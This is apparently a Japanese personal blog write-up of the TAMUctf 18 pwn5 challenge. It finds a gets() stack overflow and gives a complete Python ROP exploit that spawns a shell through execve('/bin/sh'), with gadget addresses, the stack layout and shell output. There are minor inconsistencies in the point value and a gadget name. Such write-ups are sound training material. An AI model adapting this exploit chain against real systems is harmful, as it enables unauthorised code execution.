HappyNote3966’s blog

備忘録、作業記録的なことを書きます。低レベル注意。ご指摘等ございましたらやんわりとお願いします(´;ω;`)

TAMUctf 18 [pwn 125] pwn5 復習

前回に引き続き、TAMUctf 18の[pwn 200] pwn5を復習する。 参考にしたサイトはこちら。

https://devel0pment.de/?p=407#pwn5

まずはバイナリの初動調査。

$ file pwn5
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=732cfe3cc8d9338ec19a157615505d10d2dc396b, not stripped

32bitstaticなバイナリ。stripされてない。

続いてセキュリティ機構の調査をする。

$ checksec.sh --file pwn5
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   pwn5

NXが有効なため、シェルコードを持ち込んで実行するということはできないらしい。

それからディスアセンブルをしてみると、change_major脆弱性を発見した。

0804889c <change_major>:
 804889c:   push   ebp
 804889d:   mov    ebp,esp
 804889f:   sub    esp,0x28
 80488a2:   call   8051260 <getchar>
 80488a7:   sub    esp,0xc
 80488aa:   lea    eax,[ebp-0x1c]
 80488ad:   push   eax
 80488ae:   call   804f7e0 <_IO_gets>
 80488b3:   add    esp,0x10
 80488b6:   sub    esp,0x4
 80488b9:   push   0x14
 80488bb:   push   0x80f1a04
 80488c0:   lea    eax,[ebp-0x1c]
 80488c3:   push   eax
 80488c4:   call   8048260 <.plt+0x80>
 80488c9:   add    esp,0x10
 80488cc:   sub    esp,0x8
 80488cf:   push   0x80f1a04
 80488d4:   push   0x80bf508
 80488d9:   call   804efe0 <_IO_printf>
 80488de:   add    esp,0x10
 80488e1:   nop
 80488e2:   leave
 80488e3:   ret

gets関数を使って[ebp-0x1c]にユーザからの入力を読み込んでいる。つまりスタックBOF脆弱性が存在する。

他の処理にフラグを直接読み込むなどの処理は無かった。 なので、ここからシステムコール呼び出しによるexecve("/bin/sh",0x0,0x0)をROPを用いて実行する。

ROPによってexecve("/bin/sh",0x0,0x0)を実行するには、以下のような処理を実行する必要がある。

以上のような処理をできるようROPガジェットを探し、アドレスをまとめると以下のとおりになった。

  • mov eax,0x7; ret(0x80932f0),inc eax; pop edi; ret(0x805d39c)

  • pop edx; pop ecx; pop edx; ret(0x80733b0)

  • int 0x80(0x8071005)

また、/bin/shの文字列を実際に格納するのは、グローバル変数として宣言されているfirst_nameもしくはlast_nameを使うことにした。 (今回はfirst_name(0x80f1a20)を使うことにした。)

以上のことをまとめて、exploitコードを書くと以下のようになる。

import socket
import struct
import telnetlib

pop_edx_ecx_ebx = 0x80733b0
inc_eax_pop_edi = 0x805d39c
int_0x80 = 0x8071005
first_name = 0x80f1a20
mov_eax_0x7 = 0x80932f0

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("localhost",12345))

    s.send("/bin/sh\n")
    s.send("happynote3966\n")
    s.send("pwn\n")
    s.send("y\n")
    s.send("2\n")

    buf = 'A' * 0x1c
    buf += 'AAAA' # saved ebp
    # ebx = "/bin/sh", ecx = 0x0
    buf += struct.pack("<I",pop_edx_ecx_ebx)
    buf += struct.pack("<I",0x0)
    buf += struct.pack("<I",0x0)
    buf += struct.pack("<I",first_name)
    # eax = 0xb
    buf += struct.pack("<I",mov_eax_0x7)
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    # int 0x80
    buf += struct.pack("<I",int_0x80)

    buf += "\n"

    s.send(buf)
    print("[+] GOT SHELL!")
    shell(s)

if __name__ == '__main__':
    main()

イメージ的には、以下のようになる。

[ebp-0x1c]        AAAA
[ebp-0x18]        AAAA
[ebp-0x14]        AAAA
[ebp-0x10]        AAAA
[ebp-0x0c]        AAAA
[ebp-0x08]        AAAA
[ebp-0x04]        AAAA
[ebp-0x00]        AAAA
[ebp+0x04]        pop_edx_ecx_ebx    <= リターンアドレス
[ebp+0x08]        0x0                <= edx=0x0
[ebp+0x0c]        0x0                <= ecx=0x0
[ebp+0x10]        first_name         <= ebx="/bin/sh"
[ebp+0x14]        mov_eax_0x7        <= eax=0xb
[ebp+0x18]        inc_eax_pop_edi
[ebp+0x1c]        AAAA
[ebp+0x20]        inc_eax_pop_edi
[ebp+0x24]        AAAA
[ebp+0x28]        inc_eax_pop_edi
[ebp+0x2c]        AAAA
[ebp+0x30]        inc_eax_pop_edi
[ebp+0x34]        AAAA
[ebp+0x38]        int 0x80           <= システムコール呼び出し

これらを実行してみる。

$ python exploit.py 
[+] GOT SHELL!
id
uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966),...

ちゃんとシェルが起動された。

反省

自作していたROP問がopenreadwriteを使用してフラグを入手する想定だったため、 真っ先に思い浮かんだものがそっちのやり方になってしまった。 ROPでシェルを起動できそうなら、その方法でexploitを進める癖をしないといけないと思った。